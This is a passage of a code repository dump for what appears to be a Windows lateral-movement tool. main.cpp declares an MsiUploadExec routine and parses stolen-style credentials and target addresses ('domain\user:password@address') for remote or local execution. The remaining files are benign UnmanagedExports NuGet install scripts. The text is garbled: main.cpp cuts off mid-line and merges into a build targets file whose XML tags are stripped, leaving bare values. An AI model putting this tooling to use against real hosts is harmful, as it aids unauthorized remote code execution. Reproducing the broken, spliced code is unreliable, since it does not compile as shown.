domain, std::wstring& user, std::wstring& password, std::wstring& address) { 4 | 5 | if (arg == LOCAL_ATTACK_KEYWORD) 6 | { 7 | domain = L""; 8 | user = L""; 9 | password = L""; 10 | address = L""; 11 | return true; 12 | } 13 | 14 | // Regular expression to match the format [domain]\[user]:[password]@[address] 15 | std::wregex pattern(LR"(([^\\]+)\\([^:]+):([^@]+)@(.+))"); 16 | std::wsmatch match; 17 | 18 | if (std::regex_match(arg, match, pattern)) { 19 | // Assign parsed values to the respective variables 20 | domain = match[1]; 21 | user = match[2]; 22 | password = match[3]; 23 | address = match[4]; 24 | return true; 25 | } 26 | 27 | return false; 28 | } 29 | 30 | size_t GetEnvironmentSizeW(WCHAR* pchEnvironment) 31 | { 32 | WCHAR* cur = pchEnvironment; 33 | do { 34 | // scan for the end of the string 35 | while (*cur != '\0') 36 | cur++; 37 | 38 | // move past null 39 | cur++; 40 | } while (*cur != '\0'); 41 | return cur - pchEnvironment + 1; 42 | } -------------------------------------------------------------------------------- /Utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | constexpr std::wstring_view LOCAL_ATTACK_KEYWORD = L"LOCALHOST"; 7 | 8 | size_t GetEnvironmentSizeW(WCHAR* pchEnvironment); 9 | bool parseArgument(const std::wstring& arg, std::wstring& domain, std::wstring& user, std::wstring& password, std::wstring& address); -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include "Includes.h" 2 | #include "Utils.h" 3 | 4 | HRESULT MsiUploadExec(IUnknown* pIMsiServerAuthen, COAUTHINFO* pAuthInfo); 5 | 6 | 7 | int wmain(int argc, wchar_t* argv[]) { 8 | 9 | std::wstring domain, user, password, address; 10 | if (argc < 2 or !parseArgument(argv[1], domain, user, password, address)) { 11 | std::wcerr << L"Usage: " << argv[0] << L" [domain]\\[user]:[password]@[address]" << std::endl; 12 | std::wcerr << L"Local Usage: " << argv[0] < 2 | 3 | 4 | 5 | 6 | $(PostBuildEventDependsOn); 7 | RGieseckeDllExport 8 | 9 | 10 | 11 | 12 | 13 | $(BuildDependsOn); 14 | RGieseckeDllExport 15 | 16 | 17 | 18 | 20 | 21 | 23 | 24 | 34 | 35 | 36 | 37 | RGiesecke.DllExport.DllExportAttribute 38 | RGiesecke.DllExport.Metadata 39 | 40 | $(Platform) 41 | $(PlatformTarget) 42 | $(CpuType) 43 | $(DebugSymbols) 44 | false 45 | $(DllExportTimeout) 46 | $(KeyContainerName)$(AssemblyKeyContainerName) 47 | $(KeyOriginatorFile) 48 | $(MSBuildProjectDirectory) 49 | $(TargetPath) 50 | $(TargetedFrameworkDir);$(TargetFrameworkDirectory) 51 | $(DevEnvDir)\..\..\VC\bin 52 | $(DevEnvDir) 53 | $(TargetFrameworkVersion) 54 | $(TargetFrameworkSDKToolsDirectory) 55 | $(NoDllExportsForAnyCpu) 56 | 57 | 58 | 74 | 75 | -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/init.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1) 4 | 5 | if($project) { 6 | Assert-PlatformTargetOfProject $project.FullName 7 | } 8 | else { 9 | Get-AllDllExportMsBuildProjects | % { 10 | Assert-PlatformTargetOfProject $_.FullPath 11 | } 12 | } -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'RGiesecke.DllExport.targets' 4 | $targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName) 5 | $targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute 6 | 7 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 8 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 9 | 10 | if(!$msBuildV4) { 11 | throw New-Object System.IO.FileNotFoundException("Could not load $msBuildV4Name."); 12 | } 13 | 14 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 15 | 16 | # change the reference to RGiesecke.DllExport.Metadata.dll to not be copied locally 17 | 18 | $project.Object.References | ? { 19 | $_.Name -ieq "RGiesecke.DllExport.Metadata" 20 | } | % { 21 | if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){ 22 | $_.CopyLocal = $false 23 | } 24 | } 25 | 26 | $projects = $projectCollection::GlobalProjectCollection.GetLoadedProjects($project.FullName) 27 | $projects | % { 28 | $currentProject = $_ 29 | 30 | # remove imports of RGiesecke.DllExport.targets from this project 31 | $currentProject.Xml.Imports | ? { 32 | return ("RGiesecke.DllExport.targets" -ieq [IO.Path]::GetFileName($_.Project)) 33 | } | % { 34 | $currentProject.Xml.RemoveChild($_); 35 | } 36 | 37 | # remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName 38 | $currentProject.Xml.Properties | ? { 39 | $_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName" 40 | } | % { 41 | $_.Parent.RemoveChild($_) 42 | } 43 | 44 | $projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute 45 | $relativeUrl = $projectUri.MakeRelative($targetUri) 46 | $import = $currentProject.Xml.AddImport($relativeUrl) 47 | $import.Condition = "Exists('$relativeUrl')"; 48 | 49 | # remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it) 50 | Remove-OldDllExportFolder $project 51 | Assert-PlatformTargetOfProject $project.FullName 52 | } -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'RGiesecke.DllExport.targets' 4 | $targetFileName = [System.IO.Path]::Combine($toolsPath, $targetFileName) 5 | $targetUri = New-Object Uri($targetFileName, [UriKind]::Absolute) 6 | 7 | $projects = Get-DllExportMsBuildProjectsByFullName($project.FullName) 8 | 9 | return $projects | % { 10 | $currentProject = $_ 11 | 12 | $currentProject.Xml.Imports | ? { 13 | "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project) 14 | } | % { 15 | $currentProject.Xml.RemoveChild($_) 16 | } 17 | } --------------------------------------------------------------------------------